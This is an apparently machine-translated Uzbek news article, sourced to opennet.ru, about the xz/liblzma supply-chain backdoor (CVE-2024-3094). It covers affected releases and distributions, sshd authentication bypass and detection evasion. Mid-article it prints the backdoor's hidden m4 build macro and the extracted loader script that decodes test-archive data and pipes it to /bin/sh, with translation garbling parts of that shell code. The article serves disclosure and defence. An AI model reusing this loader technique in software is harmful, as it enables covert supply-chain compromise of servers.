Xz/liblzma kutubxonasida sshd orqali kirish imkonini beruvchi orqa eshik topildi

Liblzma kutubxonasi va ".xz" formatidagi siqilgan ma'lumotlar bilan ishlash uchun yordamchi dasturlarni o'z ichiga olgan XZ Utils paketida bog'langan ilovalar tomonidan qayta ishlangan ma'lumotlarni ushlab turish va o'zgartirish imkonini beruvchi orqa eshik (CVE-2024-3094) aniqlangan. liblzma kutubxonasi bilan. Orqa eshikning asosiy maqsadi OpenSSH serveri bo'lib, u ba'zi tarqatishlarda libsystemd kutubxonasi bilan birlashtirilgan va u o'z navbatida liblzma-dan foydalanadi. Sshd-ni zaif kutubxona bilan bog'lash tajovuzkorlarga SSH serveriga autentifikatsiyasiz kirish imkonini beradi.

Orqa eshik 5.6.0-fevral va 5.6.1-mart kunlari nashr etilgan 24 va 9 rasmiy nashrlarida mavjud bo‘lib, ular ba’zi tarqatish va omborlarga kirishga muvaffaq bo‘ldi, masalan, Gentoo, Arch Linux, Debian sid/stabil, Fedora Rawhide va. 40-beta, openSUSE zavodi va tumbleweed, LibreELEC, Alpine chekkasi, Solus, NixOS beqaror, OpenIndiana, OpenMandriva prokat, pkgsrc oqimi, Slackware oqimi, Manjaro sinovi. Xz 5.6.0 va 5.6.1 versiyalarining barcha foydalanuvchilariga zudlik bilan 5.4.6 versiyasiga qaytish tavsiya etiladi.

Muammoni engillashtiradigan omillar orasida shuni ta'kidlash mumkinki, liblzma-ning orqa eshikli versiyasi katta distribyutsiyalarning barqaror nashrlarining bir qismiga aylana olmadi, lekin openSUSE Tumbleweed va Fedora 40-beta-ga ta'sir qildi. Arch Linux va Gentoo zx-ning zaif versiyasidan foydalangan, ammo hujumga moyil emas, chunki ular openssh-ga systemd-notify yamog'ini qo'llamaydilar, bu esa sshd-ning liblzma bilan bog'lanishiga olib keladi. Orqa eshik faqat Linux yadrosi va Glibc C kutubxonasiga asoslangan x86_64 tizimlariga ta'sir qiladi.

Backdoor faollashtirish kodi m4 makroslarida qurilish vaqtida automake asboblar to‘plami tomonidan foydalaniladigan build-to-host.m4 faylidan yashiringan. Yig'ish paytida, operatsiyaning to'g'riligini tekshirish uchun foydalaniladigan arxivlar (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma) asosida murakkab noaniq operatsiyalarni bajarish jarayonida zararli kodli ob'ekt fayli yaratildi, u ichiga kiritilgan. liblzma kutubxonasi va uning ba'zi funktsiyalari operatsiya mantig'ini o'zgartirdi. Orqa eshikni faollashtiradigan m4 makroslari relizlar tarballlariga kiritilgan, ammo Git omborida emas edi. Shu bilan birga, omborda zararli sinov arxivlari mavjud edi, ya'ni. orqa eshikni amalga oshirgan shaxs repozitoriy va relizlarni yaratish jarayonlariga kirish huquqiga ega edi.

Ilovalarda liblzma-dan foydalanilganda, zararli o'zgarishlar ma'lumotlarni ushlab turish yoki o'zgartirish yoki sshd ishlashiga ta'sir qilish uchun ishlatilishi mumkin. Xususan, zararli kod sshd autentifikatsiya jarayonini chetlab o‘tish uchun RSA_public_decrypt funksiyasini soxtalashtirgan. Orqa eshik aniqlanishdan himoyani o'z ichiga oladi va LANG va TERM muhit o'zgaruvchilari o'rnatilganda (ya'ni, jarayonni terminalda ishga tushirganda) va LD_DEBUG va LD_PROFILE muhit o'zgaruvchilari o'rnatilmaganda o'zini namoyon qilmadi va faqat bajarilganda faollashtirildi. /usr/sbin/sshd bajariladigan fayl. Orqa eshikda disk raskadrovka muhitida bajarilishini aniqlash vositasi ham mavjud edi.

Xususan, m4/build-to-host.m4 faylidan foydalanilgan gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | baho $gl_path_map | $gl_[$1]_prefiks -d 2>/dev/null'

Birinchi konstruksiyada grep operatsiyasi testlar/files/bad-3-corrupt_lzma2.xz faylini topdi, u paketdan chiqarilganda skriptni yaratdi: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && 0 dan chiqish [ ! $(uname) = "Linux" ] && 0 dan chiqish [ ! $(uname) = "Linux" ] && 0 dan chiqish [ ! $(uname) = "Linux" ] && 0 dan chiqish [ ! $(uname) = "Linux" ] && 0 dan chiqish `grep ^srcdir= config.status` agar test -f ../../config.status; keyin `grep ^srcdir= ../../config baholash .status` srcdir="../../$srcdir" fi eksport i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/) null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (bosh -c +1024 >/dev/null) && bosh -c +2048 && (bosh -c +1024 >/dev/null) && bosh -c +2048 && (bosh -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####Dunyo####

Hujumchilar xz loyihasining infratuzilmasiga qanday qilib kirishga muvaffaq bo'lishganiga hali to'liq oydinlik kiritilmagan. Shuningdek, “backdoor” natijasida qancha foydalanuvchilar va loyihalar buzilgani hali aniq emas. Arxivlarni zararli kod bilan omborga joylashtirgan da'vo qilingan orqa eshik muallifi (JiaT75 - Jia Tan) Fedora ishlab chiquvchilari bilan yozishgan va Debian-ga tarqatishlarni xz 5.6.0 filialiga o'tkazish bilan bog'liq tortishish so'rovlarini yuborgan va buni qilmagan. shubha uyg'otadi, chunki u ishtirok etgan xz so'nggi ikki yil davomida rivojlanmoqda va kiritilgan o'zgarishlar soni bo'yicha ikkinchi ishlab chiquvchi. Xz loyihasidan tashqari, "backdoor" ning muallifi ham xz-java va xz o'rnatilgan paketlarni ishlab chiqishda ishtirok etgan. Bundan tashqari, Jia Tan bir necha kun oldin Linux yadrosida ishlatiladigan XZ Embedded loyihasini ta'minlovchilar qatoriga kiritilgan edi.

Zararli o'zgarish protsessorning ortiqcha sarflanishi va ssh orqali Debian sid-ga asoslangan tizimlarga ulanishda valgrind tomonidan yaratilgan xatolar tahlil qilingandan so'ng aniqlangan. Shunisi e'tiborga loyiqki, xz 5.6.1 versiyasi orqa eshik bilan zx 5.6.0 versiyasiga yangilangandan so'ng paydo bo'lgan sshd sekinlashuvi va avariyalar haqidagi shikoyatlarga javoban orqa eshik muallifi tomonidan tayyorlangan o'zgarishlarni o'z ichiga oladi. Bundan tashqari, o‘tgan yili Jia Tan “-fsanitize=address” tekshirish rejimiga mos kelmaydigan o‘zgarishlar kiritdi, bu esa fuzz testi vaqtida o‘chirib qo‘yilishiga sabab bo‘ldi.

Manba: opennet.ru

a Izoh qo'shish